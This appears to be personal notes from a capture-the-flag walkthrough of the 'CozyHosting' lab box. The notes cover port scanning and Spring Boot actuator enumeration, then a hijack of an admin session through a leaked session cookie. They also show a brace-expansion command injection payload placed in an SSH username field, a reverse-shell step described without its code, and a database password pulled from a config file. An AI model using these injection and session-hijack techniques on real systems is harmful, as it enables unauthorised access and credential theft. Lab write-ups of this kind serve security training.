┌──(root㉿kali)-[~]
└─# nmap -sC -A -p- -T4 cozyhosting.htb
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-27 00:24 EDT
Nmap scan report for cozyhosting.htb (10.10.11.230)
Host is up (0.048s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA)
|_ 256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Cozy Hosting - Home
|_http-server-header: nginx/1.18.0 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=6/27%OT=22%CT=1%CU=35865%PV=Y%DS=2%DC=T%G=Y%TM=667C
OS:E98B%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)
OS:OPS(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53C
OS:ST11NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)
OS:ECN(R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%
OS:F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T
OS:5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=
OS:Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF
OS:=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40
OS:%CD=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 1025/tcp)
HOP RTT ADDRESS
1 47.97 ms 10.10.14.1
2 48.96 ms cozyhosting.htb (10.10.11.230)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.98 seconds
found in login page
Designed by BootstrapMade
<!-- =======================================================
* Template Name: NiceAdmin
* Updated: Mar 09 2023 with Bootstrap v5.2.3
* Template URL: https://bootstrapmade.com/nice-admin-bootstrap-admin-html-template/
* Author: BootstrapMade.com
* License: https://bootstrapmade.com/license/
======================================================== -->
found in findings below, the 404 page reveals that this is a spring boot page. using a springboot wordlist we can find some /actuator endpoints
200 GET 1l 1w 634c http://cozyhosting.htb/actuator
200 GET 1l 13w 487c http://cozyhosting.htb/actuator/env/home
200 GET 1l 13w 487c http://cozyhosting.htb/actuator/env/path
404 GET 0l 0w 0c http://cozyhosting.htb/actuator/env/spring.jmx.enabled
200 GET 1l 120w 4957c http://cozyhosting.htb/actuator/env
200 GET 1l 1w 95c http://cozyhosting.htb/actuator/sessions
200 GET 1l 13w 487c http://cozyhosting.htb/actuator/env/lang
200 GET 97l 196w 4431c http://cozyhosting.htb/login
200 GET 1l 1w 15c http://cozyhosting.htb/actuator/health
200 GET 1l 108w 9938c http://cozyhosting.htb/actuator/mappings
200 GET 14l 1684w 143706c http://cozyhosting.htb/assets/vendor/swiper/swiper-bundle.min.js
200 GET 7l 2189w 194901c http://cozyhosting.htb/assets/vendor/bootstrap/css/bootstrap.min.css
200 GET 285l 745w 12706c http://cozyhosting.htb/
200 GET 1l 542w 127224c http://cozyhosting.htb/actuator/beans
#### Actuators
Spring Boot includes a set of features that are designed for monitoring, managing, and debugging applications known as actuators. `/actuator/mapping` gives a detailed list about the application, including not only the actuators, but also other endpoints for the application:
http://cozyhosting.htb/actuator/sessions -> we find a JSESSIONID cookie and when we navigate to /login or /admin we session hijack and can access the panel as kanderson, an admin user
 
This probably looks like ssh -i [key] USER_FORM@HOST_FORM
 With input like this, the command we're sending probably looks closer to:
ssh -i [key] root;{ping,-c,1,10.10.14.2};#@localhost
and indeed, it does:
┌──(root㉿kali)-[~/box/cozy]
└─# tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
18:50:48.225578 IP 10.10.11.230 > 10.10.14.2: ICMP echo request, id 2, seq 1, length 64
18:50:48.225631 IP 10.10.14.2 > 10.10.11.230: ICMP echo reply, id 2, seq 1, length 64
^C
2 packets captured
2 packets received by filter
0 packets dropped by kernel
The reason why this works is because of bash bracket expansion  https://www.gnu.org/software/bash/manual/html_node/Brace-Expansion.html
interesting note about getting a reverse shell here: we first write a file to disk: 
in the /tmp/ dir. once we have the revshell in the /tmp dir we run it:

Java applications can be very tricky about piping and special characters in processes, so I’ll go the simple route of writing a Bash script to disk and then running it. I’ll create a reverse shell script locally called `rev.sh`:
Home directory has a .jar file named cloudhosting
Who's running this process? What ports are they listening on?
app@cozyhosting:/app$ ps auxww | grep cloud
ps auxww | grep cloud
app 1064 5.2 17.4 3672668 700016 ? Ssl 22:02 4:03 /usr/bin/java -jar cloudhosting-0.0.1.jar
app 1799 0.0 0.0 6476 2308 ? S 23:19 0:00 grep cloud
app@cozyhosting:/app$ netstat -tlnp | grep 1799
netstat -tlnp | grep 1799
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
app@cozyhosting:/app$ netstat -tnlp | grep 1064
netstat -tnlp | grep 1064
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp6 0 0 127.0.0.1:8080 :::* LISTEN 1064/java
app@cozyhosting:/dev/shm$ grep -r password . 2>/dev/null
grep -r password . 2>/dev/null
./BOOT-INF/classes/application.properties:spring.datasource.password=Vg&nvzAQ7XxR
  convert to hashes
lessons
- fuzz subdomains
- nmap udp
- *** this is something you obviously didnt try. any request to the webserver that failed gives you an error page that says something like:
Whitelabel Error Page
This application has no explicit mapping for /error, so you are seeing this as a fallback.
Thu Jun 27 04:57:38 UTC 2024
There was an unexpected error (type=None, status=999).
with this information you can see the page is using springboot. knowing its made with springboot, you can enumerate more using
/usr/share/seclists/Discovery/Web-Content/spring-boot.txt
- basically, the lesson of above is
DONT USE ONE WORDLIST AND THINK IT WILL BE ENOUGH
- Whenever you come across a form on a site that appears to be executing commands, think about what that command probably looks like.